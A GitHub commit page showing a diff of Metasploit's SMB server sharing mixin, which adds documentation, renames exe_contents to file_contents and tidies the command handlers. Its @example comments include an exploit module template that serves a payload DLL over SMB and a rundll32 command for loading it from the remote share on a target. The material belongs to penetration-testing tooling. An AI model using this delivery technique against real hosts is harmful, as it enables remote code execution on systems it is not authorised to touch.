Skip to content

Commit c7c5270

Browse files
author
Matthew Hall
committed
Merge pull request #4 from jvazquez-r7/review_3074_documentation
Add documentation and specs. All tests pass on my end! Thanks @jvazquez-r7
2 parents 402fa12 + a57aefb commit c7c5270

24 files changed

+2280
-156
lines changed

lib/msf/core/exploit/smb/server/share.rb

Lines changed: 153 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,106 @@
1010

1111
module Msf
1212
module Exploit::Remote::SMB::Server
13-
# This mixin provides a minimal SMB server
13+
# This mixin provides a minimal SMB server sharing an UNC resource. At
14+
# this moment it is capable to share just one file. And the file should
15+
# live in the root folder "\\".
16+
#
17+
# @example Use it from an Auxiliary module
18+
# require 'msf/core'
19+
#
20+
# class Metasploit3 < Msf::Auxiliary
21+
#
22+
# include Msf::Exploit::Remote::SMB::Server::Share
23+
#
24+
# def initialize
25+
# super(
26+
# 'Name' => 'SMB File Server',
27+
# 'Description' => %q{
28+
# This module provides a SMB File Server service
29+
# },
30+
# 'Author' =>
31+
# [
32+
# 'Matthew Hall',
33+
# 'juan vazquez'
34+
# ],
35+
# 'License' => MSF_LICENSE,
36+
# 'Actions' =>
37+
# [
38+
# ['Service']
39+
# ],
40+
# 'PassiveActions' =>
41+
# [
42+
# 'Service'
43+
# ],
44+
# 'DefaultAction' => 'Service'
45+
# )
46+
# end
47+
#
48+
# def run
49+
# print_status("Starting SMB Server on #{unc}...")
50+
# exploit
51+
# end
52+
#
53+
# def primer
54+
# print_status("Primer...")
55+
# self.file_contents = 'METASPLOIT'
56+
# end
57+
# end
58+
#
59+
# @example Use it from an Exploit module
60+
# require 'msf/core'
61+
#
62+
# class Metasploit3 < Msf::Exploit::Remote
63+
# Rank = ExcellentRanking
64+
#
65+
# include Msf::Exploit::EXE
66+
# include Msf::Exploit::Remote::SMB::Server::Share
67+
#
68+
# def initialize(info={})
69+
# super(update_info(info,
70+
# 'Name' => "Example Exploit",
71+
# 'Description' => %q{
72+
# Example exploit, the Server shares a DLL embedding the payload. A session
73+
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
74+
# from the target.
75+
# },
76+
# 'License' => MSF_LICENSE,
77+
# 'Author' =>
78+
# [
79+
# 'Matthew Hall',
80+
# 'juan vazquez'
81+
# ],
82+
# 'References' =>
83+
# [
84+
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
85+
# ],
86+
# 'Payload' =>
87+
# {
88+
# 'Space' => 2048,
89+
# 'DisableNops' => true
90+
# },
91+
# 'Platform' => 'win',
92+
# 'Targets' =>
93+
# [
94+
# ['Windows XP SP3 / Windows 2003 SP2', {}],
95+
# ],
96+
# 'Privileged' => false,
97+
# 'DisclosureDate' => "Mar 02 2015",
98+
# 'DefaultTarget' => 0))
99+
#
100+
# register_options(
101+
# [
102+
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
103+
# ], self.class)
104+
#
105+
# deregister_options('FILE_CONTENTS')
106+
# end
107+
#
108+
# def primer
109+
# self.file_contents = generate_payload_dll
110+
# print_status("File available on #{unc}...")
111+
# end
112+
# end
14113
module Share
15114
require 'msf/core/exploit/smb/server/share/command'
16115
require 'msf/core/exploit/smb/server/share/information_level'
@@ -66,13 +165,32 @@ module Share
66165
CONST::SMB_WRITE_OWNER_ACCESS |
67166
CONST::SMB_SYNC_ACCESS
68167

69-
attr_accessor :unc
168+
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
169+
CONST::SMB_READ_EA_ACCESS |
170+
CONST::SMB_EXECUTE_ACCESS |
171+
CONST::SMB_READ_ATTRIBUTES_ACCESS |
172+
CONST::SMB_READ_CONTROL_ACCESS |
173+
CONST::SMB_SYNC_ACCESS
174+
175+
# @!attribute share
176+
# @return [String] The share portion of the provided UNC.
70177
attr_accessor :share
178+
# @!attribute path_name
179+
# @return [String] The folder where the provided file lives.
180+
# @note UNSUPPORTED
71181
attr_accessor :path_name
182+
# @!attribute file_name
183+
# @return [String] The file name of the provided UNC.
72184
attr_accessor :file_name
185+
# @!attribute hi
186+
# @return [Fixnum] The high 4 bytes for the file 'created time'.
73187
attr_accessor :hi
188+
# @!attribute lo
189+
# @return [Fixnum] The low 4 bytes for the file 'created time'.
74190
attr_accessor :lo
75-
attr_accessor :exe_contents
191+
# @!attribute file_contents
192+
# @return [String] The contents of the provided file
193+
attr_accessor :file_contents
76194

77195
def initialize(info = {})
78196
super
@@ -85,32 +203,41 @@ def initialize(info = {})
85203
], Msf::Exploit::Remote::SMB::Server::Share)
86204
end
87205

206+
# Setups the server configuration.
88207
def setup
89208
super
90209

91-
print_status("Setup...")
92-
93-
# TODO: Improve tree directories support
94-
self.path_name = '\\'
210+
self.path_name = '\\' # TODO: Add subdirectories support
95211
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
96212
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
97-
self.unc = "\\\\#{srvhost}\\#{share}\\#{file_name}"
98213

99214
t = Time.now.to_i
100215
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
101216

102217
# The module has an opportunity to set up the file contents in the "primer callback"
103218
if datastore['FILE_CONTENTS']
104-
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.exe_contents = f.read }
219+
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
105220
else
106-
self.exe_contents = Rex::Text.rand_text_alpha(50 + rand(150))
221+
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
107222
end
108223
end
109224

225+
# Builds the UNC Name for the shared file
226+
def unc
227+
"\\\\#{srvhost}\\#{share}\\#{file_name}"
228+
end
229+
230+
# Builds the server address.
231+
#
232+
# @return [String] The server address.
110233
def srvhost
111234
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
112235
end
113236

237+
# New connection handler, executed when there is a new conneciton.
238+
#
239+
# @param c [Socket] The client establishing the connection.
240+
# @return [Hash] The hash with the client data initialized.
114241
def smb_conn(c)
115242
@state[c] = {
116243
:name => "#{c.peerhost}:#{c.peerport}",
@@ -123,11 +250,13 @@ def smb_conn(c)
123250
}
124251
end
125252

126-
#
127-
# Main dispatcher function
128-
# Takes the client data and performs a case switch
253+
# Main dispatcher function. Takes the client data and performs a case switch
129254
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
130255
#
256+
# @param cmd [Fixnum] The SMB Command requested.
257+
# @param c [Socket] The client to answer.
258+
# @param buff [String] The data including the client request.
259+
# @return [Fixnum] The number of bytes returned to the client as response.
131260
def smb_cmd_dispatch(cmd, c, buff)
132261
smb = @state[c]
133262

@@ -141,25 +270,26 @@ def smb_cmd_dispatch(cmd, c, buff)
141270

142271
case cmd
143272
when CONST::SMB_COM_NEGOTIATE
144-
smb_cmd_negotiate(c, buff)
273+
return smb_cmd_negotiate(c, buff)
145274
when CONST::SMB_COM_SESSION_SETUP_ANDX
146275
word_count = pkt['Payload']['SMB'].v['WordCount']
147-
if word_count == 0x0D # Share Security Mode sessions
148-
smb_cmd_session_setup_andx(c, buff)
276+
if word_count == 0x0d # Share Security Mode sessions
277+
return smb_cmd_session_setup_andx(c, buff)
149278
else
150-
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
151-
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
279+
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
280+
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
152281
end
153282
when CONST::SMB_COM_TRANSACTION2
154-
smb_cmd_trans2(c, buff)
283+
return smb_cmd_trans2(c, buff)
155284
when CONST::SMB_COM_NT_CREATE_ANDX
156-
smb_cmd_nt_create_andx(c, buff)
285+
return smb_cmd_nt_create_andx(c, buff)
157286
when CONST::SMB_COM_READ_ANDX
158-
smb_cmd_read_andx(c, buff)
287+
return smb_cmd_read_andx(c, buff)
159288
when CONST::SMB_COM_CLOSE
160-
smb_cmd_close(c, buff)
289+
return smb_cmd_close(c, buff)
161290
else
162-
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
291+
print_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
292+
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
163293
end
164294
end
165295
end

lib/msf/core/exploit/smb/server/share/command/close.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,21 +5,29 @@ module Exploit::Remote::SMB::Server
55
module Share
66
module Command
77
module Close
8+
9+
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
10+
# of an object associated with a valid FID.
811
#
9-
# Responds to a client CLOSE request
10-
#
12+
# @param c [Socket] The client sending the request.
13+
# @param buff [String] The data including the client request.
14+
# @return [Fixnum] The number of bytes returned to the client as response.
1115
def smb_cmd_close(c, buff)
1216
send_close_res(c)
1317
end
1418

19+
# Builds and sends an SMB_COM_CLOSE response.
20+
#
21+
# @param c [Socket] The client to answer.
22+
# @return [Fixnum] The number of bytes returned to the client as response.
1523
def send_close_res(c)
1624
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
1725
smb_set_defaults(c, pkt)
1826

1927
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
2028
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
2129
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
22-
pkt['Payload']['SMB'].v['WordCount'] = 0
30+
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
2331

2432
c.put(pkt.to_s)
2533
end

lib/msf/core/exploit/smb/server/share/command/negotiate.rb

Lines changed: 22 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,13 @@ module Exploit::Remote::SMB::Server
55
module Share
66
module Command
77
module Negotiate
8+
9+
# Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
10+
# SMB connection between the client and the server.
811
#
9-
# Negotiates a SHARE session with the client
10-
#
12+
# @param c [Socket] The client sending the request.
13+
# @param buff [String] The data including the client request.
14+
# @return [Fixnum] The number of bytes returned to the client as response.
1115
def smb_cmd_negotiate(c, buff)
1216
pkt = CONST::SMB_NEG_PKT.make_struct
1317
pkt.from_s(buff)
@@ -29,6 +33,21 @@ def smb_cmd_negotiate(c, buff)
2933
})
3034
end
3135

36+
# Builds and sends an SMB_COM_CLOSE response.
37+
#
38+
# @param c [Socket] The client to answer.
39+
# @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
40+
# @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
41+
# @option opts [Fixnum] :security_mode Security modes supported or required by the server.
42+
# @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
43+
# @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
44+
# @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
45+
# @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
46+
# @option opts [Fixnum] :server_time_zone The server's time zone.
47+
# @option opts [Fixnum] :capabilities The server capability indicators.
48+
# @option opts [Fixnum] :key_length The challenge length.
49+
# @option opts [String] :key The challenge.
50+
# @return [Fixnum] The number of bytes returned to the client as response.
3251
def send_negotitate_res(c, opts = {})
3352
dialect = opts[:dialect] || 0
3453
security_mode = opts[:security_mode] || 0
@@ -47,7 +66,7 @@ def send_negotitate_res(c, opts = {})
4766
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
4867
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
4968
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
50-
pkt['Payload']['SMB'].v['WordCount'] = 17
69+
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
5170
pkt['Payload'].v['Dialect'] = dialect
5271
pkt['Payload'].v['SecurityMode'] = security_mode
5372
pkt['Payload'].v['MaxMPX'] = max_mpx

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

Lines changed: 19 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,13 @@ module Exploit::Remote::SMB::Server
55
module Share
66
module Command
77
module NtCreateAndx
8+
9+
# Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
10+
# open a new file.
811
#
9-
# Responds to a client NT_CREATE_ANDX request
10-
#
12+
# @param c [Socket] The client sending the request.
13+
# @param buff [String] The data including the client request.
14+
# @return [Fixnum] The number of bytes returned to the client as response.
1115
def smb_cmd_nt_create_andx(c, buff)
1216
smb = @state[c]
1317
pkt = CONST::SMB_CREATE_PKT.make_struct
@@ -25,7 +29,7 @@ def smb_cmd_nt_create_andx(c, buff)
2529
if payload.ends_with?(file_name)
2630
fid = smb[:file_id].to_i
2731
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
28-
eof = exe_contents.length
32+
eof = file_contents.length
2933
is_dir = 0
3034
elsif payload.eql?(path_name)
3135
fid = smb[:dir_id].to_i
@@ -34,8 +38,7 @@ def smb_cmd_nt_create_andx(c, buff)
3438
is_dir = 1
3539
else
3640
# Otherwise send not found
37-
smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
38-
return
41+
return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
3942
end
4043

4144
send_nt_create_andx_res(c, {
@@ -47,6 +50,16 @@ def smb_cmd_nt_create_andx(c, buff)
4750
})
4851
end
4952

53+
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
54+
#
55+
# @param c [Socket] The client to answer.
56+
# @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
57+
# @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
58+
# @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
59+
# @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
60+
# @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
61+
# @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
62+
# @return [Fixnum] The number of bytes returned to the client as response.
5063
def send_nt_create_andx_res(c, opts = {})
5164
file_id = opts[:file_id] || 0
5265
attributes = opts[:attributes] || 0
@@ -59,7 +72,7 @@ def send_nt_create_andx_res(c, opts = {})
5972
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
6073
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
6174
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
62-
pkt['Payload']['SMB'].v['WordCount'] = 42
75+
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
6376
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
6477
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
6578
pkt['Payload'].v['FileID'] = file_id

0 commit comments

Comments
 (0)